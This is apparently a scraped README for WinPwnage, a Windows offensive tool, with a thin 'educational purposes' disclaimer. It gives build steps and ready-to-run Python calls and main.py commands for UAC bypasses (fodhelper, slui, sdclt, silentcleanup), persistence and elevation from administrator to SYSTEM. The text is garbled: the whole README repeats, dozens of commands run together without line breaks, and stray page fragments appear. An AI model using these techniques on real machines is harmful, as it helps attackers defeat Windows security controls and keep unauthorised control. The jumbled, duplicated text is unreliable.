This tool is provided for educational and research purposes only. The authors of this project are no way responsible for any misuse of this tool.
This build works on Python >= 3.6 and puts the .exe file into the dist directory. Install pyinstaller using pip command:
pip install pyinstaller
And run the following command:
pyinstaller --onefile main.py
Compares build number against 'Fixed In' build numbers and displays the results.
main.py --scan uac
main.py --scan persist
main.py --scan elevate
Example results when scanning for possible UAC methods
Id: Type: Compatible: Description:
---- ------ ----------- -------------
1 UAC bypass No UAC bypass using runas
2 UAC bypass Yes UAC bypass using fodhelper.exe
3 UAC bypass Yes UAC bypass using slui.exe
4 UAC bypass Yes UAC bypass using silentcleanup scheduled task
5 UAC bypass No UAC bypass using sdclt.exe (isolatedcommand)
6 UAC bypass No UAC bypass using sdclt.exe (App Paths)
7 UAC bypass No UAC bypass using perfmon.exe
Bypass UAC using uacMethod2
from winpwnage.functions.uac.uacMethod2 import uacMethod2
uacMethod2(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"])
Persist on system using persistMethod4
from winpwnage.functions.persist.persistMethod4 import persistMethod4
persistMethod4(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"], add=True)
# Removal
persistMethod4(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"], add=False)
Elevate from administrator to SYSTEM using elevateMethod1
from winpwnage.functions.elevate.elevateMethod1 import elevateMethod1
elevateMethod1(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"])
main.py --use uac --id 1 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 2 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 3 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 4 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 5 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 6 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 7 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 8 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 9 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 10 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 11 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 12 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 13 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 14 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 15 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 1 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 1 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 2 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 2 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 3 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 3 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 4 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 4 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 5 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 5 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 6 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 6 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 7 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 7 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 8 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 8 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 9 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 9 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 10 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 10 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 11 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 11 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 12 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 12 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use elevate --id 1 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 2 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 3 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 4 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 5 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 6 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 7 --payload c:\\windows\\system32\\cmd.exe3,562 followers · starred May 2018
3,557 followers · starred Dec 2019
93 followers · starred May 2018
174 followers · starred Oct 2024
This tool is provided for educational and research purposes only. The authors of this project are no way responsible for any misuse of this tool.
This build works on Python >= 3.6 and puts the .exe file into the dist directory. Install pyinstaller using pip command:
pip install pyinstaller
And run the following command:
pyinstaller --onefile main.py
Compares build number against 'Fixed In' build numbers and displays the results.
main.py --scan uac
main.py --scan persist
main.py --scan elevate
Example results when scanning for possible UAC methods
Id: Type: Compatible: Description:
---- ------ ----------- -------------
1 UAC bypass No UAC bypass using runas
2 UAC bypass Yes UAC bypass using fodhelper.exe
3 UAC bypass Yes UAC bypass using slui.exe
4 UAC bypass Yes UAC bypass using silentcleanup scheduled task
5 UAC bypass No UAC bypass using sdclt.exe (isolatedcommand)
6 UAC bypass No UAC bypass using sdclt.exe (App Paths)
7 UAC bypass No UAC bypass using perfmon.exe
Bypass UAC using uacMethod2
from winpwnage.functions.uac.uacMethod2 import uacMethod2
uacMethod2(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"])
Persist on system using persistMethod4
from winpwnage.functions.persist.persistMethod4 import persistMethod4
persistMethod4(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"], add=True)
# Removal
persistMethod4(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"], add=False)
Elevate from administrator to SYSTEM using elevateMethod1
from winpwnage.functions.elevate.elevateMethod1 import elevateMethod1
elevateMethod1(["c:\\windows\\system32\\cmd.exe", "/k", "whoami"])
main.py --use uac --id 1 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 2 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 3 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 4 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 5 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 6 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 7 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 8 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 9 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 10 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 11 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 12 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 13 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 14 --payload c:\\windows\\system32\\cmd.exemain.py --use uac --id 15 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 1 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 1 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 2 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 2 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 3 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 3 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 4 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 4 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 5 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 5 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 6 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 6 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 7 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 7 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 8 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 8 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 9 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 9 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 10 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 10 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 11 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 11 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use persist --id 12 --payload c:\\windows\\system32\\cmd.exemain.py --use persist --id 12 --payload c:\\windows\\system32\\cmd.exe --removemain.py --use elevate --id 1 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 2 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 3 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 4 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 5 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 6 --payload c:\\windows\\system32\\cmd.exemain.py --use elevate --id 7 --payload c:\\windows\\system32\\cmd.exe3,562 followers · starred May 2018
3,557 followers · starred Dec 2019
93 followers · starred May 2018
174 followers · starred Oct 2024